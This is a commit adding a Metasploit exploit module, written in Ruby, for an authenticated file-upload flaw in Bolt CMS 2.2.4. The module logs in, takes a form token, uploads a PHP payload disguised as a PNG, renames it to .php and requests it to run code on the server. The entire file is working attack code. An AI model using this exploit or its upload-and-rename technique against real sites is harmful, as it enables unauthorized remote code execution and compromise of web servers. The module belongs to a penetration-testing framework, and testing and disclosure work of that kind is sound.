Land rapid7#5953, Add Bolt CMS File Upload Vulnerability

Author: wchen-r7

modules/exploits/multi/http/bolt_file_upload.rb

@@ -0,0 +1,177 @@
+##
+# This module requires Metasploit: http://www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'CMS Bolt File Upload Vulnerability',
+      'Description'     => %q{
+          Bolt CMS contains a flaw that allows an authenticated remote
+          attacker to execute arbitrary PHP code. This module was
+          tested on version 2.2.4.
+        },
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'Tim Coen', # Vulnerability Disclosure
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
+        ],
+      'References'      =>
+        [
+          ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
+        ],
+      'DisclosureDate'  => 'Aug 17 2015',
+      'Platform'        => 'php',
+      'Arch'            => ARCH_PHP,
+      'Targets'         => [['Bolt 2.2.4', {}]],
+      'DefaultTarget'   => 0
+    ))
+
+    register_options(
+      [
+        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
+        OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
+        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
+        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
+      ], self.class)
+  end
+
+  def check
+    cookie = bolt_login(username, password)
+    return Exploit::CheckCode::Detected unless cookie
+
+    res = send_request_cgi(
+      'method'      => 'GET',
+      'uri'         => normalize_uri(target_uri.path, 'bolt'),
+      'cookie'      => cookie
+    )
+
+    if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
+      return Exploit::CheckCode::Vulnerable
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def fname
+    datastore['FOLDERNAME']
+  end
+
+  def bolt_login(user, pass)
+    res = send_request_cgi(
+      'method'      => 'GET',
+      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login')
+    )
+
+    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
+
+    session_cookie = res.get_cookies
+    vprint_status("#{peer} - Logging in...")
+    res = send_request_cgi(
+      'method'      => 'POST',
+      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login'),
+      'cookie'      => session_cookie,
+      'vars_post'   => {
+        'username'  => user,
+        'password'  => pass,
+        'action'    => 'login'
+      }
+    )
+
+    return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
+    nil
+  end
+
+  def get_token(cookie, fname)
+    res = send_request_cgi(
+      'method'      => 'GET',
+      'uri'         => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
+      'cookie'      => cookie
+    )
+
+    if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
+      return Regexp.last_match[1]
+    end
+    nil
+  end
+
+  def rename_payload(cookie, payload, fname)
+    res = send_request_cgi(
+      'method'      => 'POST',
+      'uri'         => normalize_uri(target_uri.path, 'async', 'renamefile'),
+      'vars_post'   => {
+        'namespace' => 'theme',
+        'parent'    => fname,
+        'oldname'   => "#{payload}.png",
+        'newname'   => "#{payload}.php"
+      },
+      'cookie'      => cookie
+    )
+
+    return true if res && res.code == 200 && res.body.include?('1')
+    nil
+  end
+
+  def exploit
+    vprint_status("#{peer} - Authenticating using #{username}:#{password}")
+
+    cookie = bolt_login(username, password)
+    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
+    vprint_good("#{peer} - Authenticated with Bolt.")
+
+    token = get_token(cookie, fname)
+    fail_with(Failure::Unknown, 'No token found.') if token.nil?
+    vprint_good("#{peer} - Token \"#{token}\" found.")
+
+    vprint_status("#{peer} - Preparing payload...")
+    payload_name = Rex::Text.rand_text_alpha_lower(10)
+
+    data = Rex::MIME::Message.new
+    data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
+    data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
+    post_data = data.to_s
+
+    vprint_status("#{peer} - Uploading payload...")
+    res = send_request_cgi(
+      'method'    => 'POST',
+      'uri'       => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
+      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
+      'data'      => post_data,
+      'cookie'    => cookie
+    )
+
+    fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
+    vprint_good("#{peer} - Uploaded the payload.")
+
+    rename = rename_payload(cookie, payload_name, fname)
+    fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
+
+    php_file_name = "#{payload_name}.php"
+    payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
+    vprint_status("#{peer} - Parsed response.")
+
+    register_files_for_cleanup(php_file_name)
+    vprint_status("#{peer} - Executing the payload at #{payload_url}.")
+    send_request_cgi(
+      'uri'     => payload_url,
+      'method'  => 'GET'
+    )
+  end
+end